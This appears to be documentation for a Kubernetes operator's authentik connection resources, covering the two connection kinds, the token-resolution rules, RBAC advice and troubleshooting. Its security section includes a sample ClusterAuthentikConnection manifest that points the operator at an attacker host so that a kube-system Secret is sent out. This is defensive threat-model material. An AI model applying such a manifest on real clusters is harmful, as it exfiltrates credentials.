Connections¶
A connection answers two questions for every other resource: which authentik
instance, and with what token. Every provider, application and outpost
carries a spec.connectionRef selecting one, and nothing reconciles without it.
There are two kinds, and the choice between them is the most consequential security decision in this API.
Status
Both kinds exist as Go types in api/v1alpha1 and generate real CRDs. No
controller reconciles them yet, so status stays empty. The spec fields
described here are accurate; the behaviour is the intended design.
The two kinds¶
AuthentikConnection |
ClusterAuthentikConnection |
|
|---|---|---|
| Scope | Namespaced | Cluster |
| Short name | akconn |
clakconn |
Token Secret read from |
Its own namespace, always | The namespace named in its spec |
tokenSecretRef.namespace |
Does not exist | Required |
| Usable from | Its own namespace | Any namespace, or those in allowedNamespaces |
| Creating one requires | Namespace-level access | Effectively cluster-admin |
Choosing¶
Do several teams share this cluster,
each with their own authentik access?
│
yes ──┴── no
│ │
▼ ▼
AuthentikConnection Is there exactly one authentik
per namespace for the whole cluster?
│
yes ──┴── no
│ │
▼ ▼
ClusterAuthentikConnection AuthentikConnection
(admin-created, with per namespace
allowedNamespaces)
Use AuthentikConnection unless you have a specific reason not to. It is the
default value of connectionRef.kind for exactly that reason.
AuthentikConnection¶
apiVersion: authentik.k8s.rka.sh/v1alpha1
kind: AuthentikConnection
metadata:
name: default
namespace: my-apps
spec:
url: https://authentik.example.com
tokenSecretRef:
name: authentik-api-token
key: token
caBundleSecretRef: # optional
name: internal-ca
key: ca.crt
insecureSkipTLSVerify: false
probeInterval: 5m
tokenSecretRef has no namespace field. This is deliberate and permanent:
a cross-namespace reference here would let anyone who can create a resource in
one namespace borrow credentials from another. If a connection genuinely needs
to be shared, that is what the cluster-scoped kind is for.
The security property that follows is worth stating plainly: creating an
AuthentikConnection manufactures no privilege. If you can create one in a
namespace, you could already read that namespace's Secrets. Nothing is
escalated.
ClusterAuthentikConnection¶
apiVersion: authentik.k8s.rka.sh/v1alpha1
kind: ClusterAuthentikConnection
metadata:
name: shared
spec:
url: https://authentik.example.com
tokenSecretRef:
namespace: authentik-operator-system # required
name: authentik-api-token
key: token
allowedNamespaces: # optional; empty means all
- my-apps
- platform
probeInterval: 5m
Being cluster-scoped, it has no namespace of its own to default to, so it must name one — and that field accepts any namespace in the cluster.
The blast radius¶
Permission to create one is a cluster-admin-level privilege
The operator must hold cluster-wide get secrets to honour
tokenSecretRef.namespace. So anyone who can create or update a
ClusterAuthentikConnection can make the operator read any Secret in
the cluster.
Combined with a spec.url they control — a host they own, or any endpoint
the operator Pod can reach — they can have the operator send that Secret's
contents to them as a bearer token. kube-system service account tokens,
database passwords, other teams' credentials: all reachable.
Treat create and update on this kind as equivalent to cluster-wide
get secrets.
Concretely, this is the attack:
# An attacker who can create ClusterAuthentikConnection.
apiVersion: authentik.k8s.rka.sh/v1alpha1
kind: ClusterAuthentikConnection
metadata:
name: totally-legitimate
spec:
url: https://attacker.example.com # they own this
tokenSecretRef:
namespace: kube-system # not theirs
name: some-controller-token
key: token
The operator reads the Secret and sends it as an Authorization header to a
host of the attacker's choosing. Nothing here is a bug; it is the inherent cost
of a cluster-scoped credential reference, and it is why the RBAC guidance is as
blunt as it is.
What the design does guarantee¶
The mitigation is narrow but important, and it closes the bug that actually tends to appear in operators:
The token is resolved only from spec.tokenSecretRef.namespace
It is never resolved relative to the namespace of the resource that referenced the connection, nor relative to the operator's own namespace. There is no fallback and no default.
So a tenant in namespace A cannot reference a cluster connection and have
the operator quietly pick up a Secret from A — or from anywhere else of
their choosing. They get exactly the Secret the cluster administrator who
wrote the connection selected.
This is the classic confused-deputy bug in Kubernetes operators, and ADR 0001 records it as a binding constraint on the implementation rather than a convention.
A tenant referencing a cluster connection obtains the use of a token, never
its bytes. The operator does not copy it into their namespace, echo it in
status, or log it.
allowedNamespaces¶
Defence in depth on top of that rule. An empty or absent list means every namespace may reference the connection.
A resource in a namespace outside the list is rejected with Ready=False and
reason ConnectionNotReady, and touches nothing in authentik.
Set it even when it feels redundant
Without it, any user who can create a resource in any namespace can drive an authentik instance they were never granted access to. The list costs one edit when you add a namespace, and removes an entire class of accidental access.
It is enforced on every reconcile rather than only at admission, since a namespace can be created after the connection was written.
Shared settings¶
Both kinds embed the same transport settings.
url-
Base URL of the authentik instance. Validated against
^https?://. Do not include the/api/v3suffix — the operator appends it. A trailing path will produce 404s from every call. insecureSkipTLSVerify-
Default
false. Disables verification of authentik's certificate. Intended for local testing against a self-signed instance. In production it means the API token can be captured by anything able to intercept the connection — prefercaBundleSecretRef. caBundleSecretRef-
Optional PEM CA bundle used to verify the server. Resolved from the connection's own namespace for the namespaced kind, and from the explicitly named namespace for the cluster-scoped kind — same rule as the token.
probeInterval-
Default
5m. How often reachability and version are re-checked. Must match^([0-9]+(s|m|h))+$, so30s,5m,1h30mare all valid. Shorter intervals notice an outage sooner at the cost of more API calls.
Status¶
$ kubectl -n my-apps get akconn -o wide
NAME URL VERSION READY AGE
default https://authentik.example.com 2026.8.2 True 4h
| Field | Meaning |
|---|---|
status.conditions |
Ready and Synced. See Conditions. |
status.observedGeneration |
The metadata.generation this status reflects. |
status.authentikVersion |
Version reported by the instance, e.g. 2026.8.2. |
status.versionSupported |
Whether that version is in the tested range. |
status.lastProbeTime |
When the instance was last contacted. |
The version gate¶
When status.versionSupported is false, dependent resources refuse to
reconcile and report UnsupportedVersion.
That is deliberate. The alternative is failing obscurely deep inside an API call against a schema that changed — a 400 with an authentik-internal message, three layers from the manifest that caused it. Failing early and naming the version is far cheaper to diagnose. See Supported versions.
Referencing a connection¶
spec:
connectionRef:
kind: AuthentikConnection # default; or ClusterAuthentikConnection
name: default
kind is optional and defaults to AuthentikConnection. name is required.
There is no namespace field: a namespaced connection is always resolved in the
referring resource's own namespace, and a cluster-scoped one is cluster-scoped
so it needs none.
RBAC guidance¶
Do not grant ClusterAuthentikConnection to tenants
Grant create, update and patch on this kind to cluster administrators
only. It belongs in no role bound to application teams, tenants, or CI
service accounts.
For tenants, grant the namespaced kind within their own namespace:
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: authentik-tenant
namespace: my-apps
rules:
- apiGroups: ["authentik.k8s.rka.sh"]
resources:
- authentikconnections
- oauth2providers
- samlproviders
- proxyproviders
- applications
verbs: ["get", "list", "watch", "create", "update", "patch", "delete"]
Note what is absent: clusterauthentikconnections. Adding it to a namespaced
Role would do nothing (the kind is cluster-scoped), and adding it to a
ClusterRole bound to this team would hand them the whole cluster's Secrets.
Further hardening:
- Audit both kinds. A new
ClusterAuthentikConnectionin a cluster that did not expect one is a strong signal. - Constrain the fields. A ValidatingAdmissionPolicy, Kyverno or Gatekeeper
rule restricting
spec.urlto an allowlist of hostnames, andspec.tokenSecretRef.namespaceto a known set, turns "any secret, anywhere it likes" into "a known secret, to a known endpoint". - Default-deny egress. A
NetworkPolicyallowing the operator to reach only the API server and your authentik removes the exfiltration path above. It does not remove the underlying privilege — a cluster-internal endpoint is still reachable — but it is the cheapest meaningful mitigation available. - Strip the RBAC you do not need. If you never use the cluster-scoped kind,
do not install it, and remove the cluster-wide
get secretspermission that exists only to serve it.
See Security for the full model.
Common problems¶
| Symptom | Cause | Fix |
|---|---|---|
ReferenceNotFound on the connection |
Secret or key missing in the namespace the operator looked in |
For the namespaced kind, that is the connection's own namespace; for the cluster kind, tokenSecretRef.namespace. |
ConnectionNotReady on a provider |
The connection is not Ready, or the namespace is not in allowedNamespaces |
Fix the connection first. describe it. |
APIError mentioning 403 |
Token is wrong, expired, has the wrong intent, or contains a trailing newline | Recreate with printf %s and --from-file. |
APIError mentioning certificates |
Private CA | Set caBundleSecretRef. |
UnsupportedVersion |
authentik outside the tested range | Supported versions. |
status completely empty |
Namespace not watched, or no controller running | Check watchNamespaces. |
More at Troubleshooting.